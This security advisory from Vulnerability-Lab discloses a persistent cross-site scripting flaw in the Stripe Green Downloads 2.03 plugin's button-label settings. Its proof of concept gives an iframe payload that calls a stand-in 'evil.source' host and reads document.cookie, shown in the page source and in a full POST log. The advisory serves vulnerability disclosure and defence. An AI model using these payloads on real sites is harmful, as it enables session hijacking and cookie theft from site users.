Stripe Green Downloads 2.03 Cross Site Scripting

Stripe Green Downloads version 2.03 suffers from a cross site scripting vulnerability.


SHA-256 | 39050017d45d99484ebd2fdec54a9de92f99e5ff8e8b4a56db30c06034e8c1bd

Document Title:
===============
Stripe Green Downloads 2.03 - Cross Site Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2287


Release Date:
=============
2022-10-17


Vulnerability Laboratory ID (VL-ID):
====================================
2287


Common Vulnerability Scoring System:
====================================
5.2


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Easily configure the plugin to accept payments through Stripe with Strong Customer Authentication. Easily style payment button
with overall styling settings. Tons of options for any needs. Host files in secured folder, Media Library (WordPress plugin only)
or anywhere on your server. Send custom email notifications to buyer and administrator after successful payments. Collect statistics
of button impressions, payments and downloads for any file for any period.

(Copy of the Homepage:https://halfdata.com/green-downloads/stripe/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site vulnerability in the Stripe Green Downloads web-application and wordpress plugin.


Affected Product(s):
====================
halfdata
Product: Stripe Green Downloads - Admin Panel v1.0 (Web-Application)
Product: Stripe Green Downloads - Wordpress Plugin 2.03 (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2022-10-17: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Moderator Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the Stripe Green Downloads web-application and wordpress plugin v2.03.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to
web-application requests from the application-side.

The persistent xss web vulnerability is located in the `Label`, `Processing label` and `Download label` input fields of the
`Green Downloads - Settings - Button` module. Attackers with local privileged to access the panel are able to inject own
malicious script code to the button that executes the content in the preview context. The request method to inject is post
and the attack vector is persistent on the application-side. The vulnerable parameters are `idcore-button-label`,
`idcore-button-label-processing` and `idcore-button-label-download`.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent
external redirects to malicious source and non-persistent manipulation of affected application modules.

Vulnerable Module(s):
[+] Green Downloads - Settings - Button

Vulnerable Input(s):
[+] Label
[+] Processing label
[+] Download label

Vulnerable Parameter(s):
[+] idcore-button-label
[+] idcore-button-label-processing
[+] idcore-button-label-download

Affected Module(s):
[+] Preview (/stripe/script/?page=idcore-settings)


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by remote attackers with privileged account and with low user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.


Vulnerable Source: /stripe/script/?page=idcore-settings
<tbody><tr><td colspan="2"><hr></td></tr>
<tr><th>Preview:</th><td>
<div id="idcore-preview-content" class="idcore-preview-container"><link href="//x/css?family=Strait:100,200,300,400,500,600,700,800,900&
subset=arabic,vietnamese,hebrew,thai,bengali,latin,latin-ext,cyrillic,cyrillic-ext,greek" rel="stylesheet"
type="text/css"><style>.idcore-preview-button{font-family:'Strait','arial';font-size:20px;color:#ffffff;font-weight:normal;font-style:normal;
text-decoration:none;text-transform:uppercase;width:250px;height:56px;line-height:56px;background-color:#d4150b;
background-image:linear-gradient(to bottom,rgba(255,255,255,.05) 0,rgba(255,255,255,.05) 50%,rgba(0,0,0,.05) 51%,rgba(0,0,0,.05) 100%);
border-width:1px;border-style:solid;border-color:#d4150b;border-radius:3px;box-shadow: 2px 2px 0px 0px rgba(68, 68, 68, 0.2);}</style>
<span id="idcore-preview-button" class="idcore-preview-button idcore-preview-button-shift-down" onclick="return idcore_switch_preview_button_state();"
data-label="Buy Now:>"<iframe src=evil.source onload=alert(document.cookie)> 5.00 USD"
data-label-processing="Processing...>"<iframe src=evil.source onload=alert(document.cookie)>"
data-label-download="Download Now!>"<iframe src=evil.source onload=alert(document.cookie)>"
data-state="3">Download Now!>"<iframe src="evil.source" onload="alert(document.cookie)"></iframe></span></div>
</td></tr></tbody>


--- PoC Session Logs (POST) ---
https://green-downloads.localhost:8080/green-downloads/demo/stripe/script/ajax.php
Host: green-downloads.localhost:8080
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 4829
Origin:https://green-downloads.localhost:8080
Connection: keep-alive
Referer:https://green-downloads.localhost:8080/green-downloads/demo/stripe/script/?page=idcore-settings
Cookie: uap-auth=njqYqYrjVyg7aWCO; __stripe_mid=2939b7be-7000-43b1-9940-d26f391ae745ab4b3a; __stripe_sid=0813d899-c76d-4b14-832d-d55565cd96dbdc938
Post: Admin Panel&idcore-button-label=Buy Now:>"<iframe src=evil.source onload=alert(document.cookie)> {price} {currency}
&idcore-button-label-processing=Processing...>"<iframe src=evil.source onload=alert(document.cookie)>
&idcore-button-label-download=Download Now!>"<iframe src=evil.source onload=alert(document.cookie)>&idcore-button-size=fixed&idcore-button-width=250
&idcore-button-height=56&idcore-button-padding-top=16&idcore-button-padding-right=32&idcore-button-padding-bottom=16
&idcore-button-padding-left=32&idcore-responsiveness-size=480&idcore-responsiveness-custom=480&idcore-button-text-family=Strait
&idcore-button-text-size=20&idcore-button-text-transform=uppercase&idcore-button-text-color=#ffffff&idcore-button-background-image=
&idcore-button-background-size=auto&idcore-button-background-hposition=left&idcore-button-background-vposition=top
&idcore-button-background-repeat=repeat&idcore-button-background-color=#d4150b&idcore-button-background-gradient=2shades&idcore-button-background-color2=
&idcore-button-border-width=1&idcore-button-border-style=solid
&idcore-button-border-radius=3&idcore-button-border-left=on&idcore-button-border-top=on&idcore-button-border-bottom=on
&idcore-button-border-right=on&idcore-button-border-color=#d4150b&idcore-button-shadow-size=small&idcore-button-shadow-style=solid
&idcore-button-shadow-color=rgba(68, 68, 68, 0.2)&idcore-button-hover-inherit=on&idcore-button-hover-text-family=Strait&idcore-button-hover-text-size=20
&idcore-button-hover-text-transform=uppercase&idcore-button-hover-text-color=#ffffff&idcore-button-hover-background-image=
&idcore-button-hover-background-size=auto&idcore-button-hover-background-hposition=left&idcore-button-hover-background-vposition=top
&idcore-button-hover-background-repeat=repeat&idcore-button-hover-background-color=#d4150b&idcore-button-hover-background-gradient=2shades
&idcore-button-hover-background-color2=&idcore-button-hover-border-width=1&idcore-button-hover-border-style=solid&idcore-button-hover-border-radius=3
&idcore-button-hover-border-left=on&idcore-button-hover-border-top=on&idcore-button-hover-border-bottom=on&idcore-button-hover-border-right=on
&idcore-button-hover-border-color=#d4150b&idcore-button-hover-shadow-size=small&idcore-button-hover-shadow-style=solid
&idcore-button-hover-shadow-color=rgba(68, 68, 68, 0.2)&idcore-button-active-inherit=on&idcore-button-active-text-family=Strait&idcore-button-active-text-size=20
&idcore-button-active-text-transform=uppercase&idcore-button-active-text-color=#ffffff&idcore-button-active-background-image=
&idcore-button-active-background-size=auto&idcore-button-active-background-hposition=left&idcore-button-active-background-vposition=top
&idcore-button-active-background-repeat=repeat&idcore-button-active-background-color=#d4150b&idcore-button-active-background-gradient=2shades
&idcore-button-active-background-color2=&idcore-button-active-border-width=1&idcore-button-active-border-style=solid&idcore-button-active-border-radius=3
&idcore-button-active-border-left=on&idcore-button-active-border-top=on&idcore-button-active-border-bottom=on&idcore-button-active-border-right=on
&idcore-button-active-border-color=#d4150b&idcore-button-active-shadow-size=small&idcore-button-active-shadow-style=solid
&idcore-button-active-shadow-color=rgba(68, 68, 68, 0.2)&idcore-button-active-transform=shift-down&idcore-amazon-access-key=&idcore-amazon-secret-key=
&idcore-amazon-bucket=&idcore-error-invalid-link=Invalid download link.&idcore-error-expired-link=Download link expired.
&idcore-error-no-file=File does not exist.&idcore-link-lifetime=72&idcore-csv-separator=;&idcore-cross-domain-enable=on&idcore-admin-menu-stats=on
&action=idcore-update-settings&idcore_version=2
-
POST: HTTP/1.1 200 OK
Server: Apache/2.4.18 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 68
Keep-Alive: timeout=5, max=96
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8


Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the stripe application and wordpress plugin is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
edit our material contact ([email protected] or [email protected]) to get a ask permission.

Copyright © 2022 | Vulnerability Laboratory - [Evolution Security GmbH]™

--
VULNERABILITY LABORATORY (VULNERABILITY LAB)
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE


Related Posts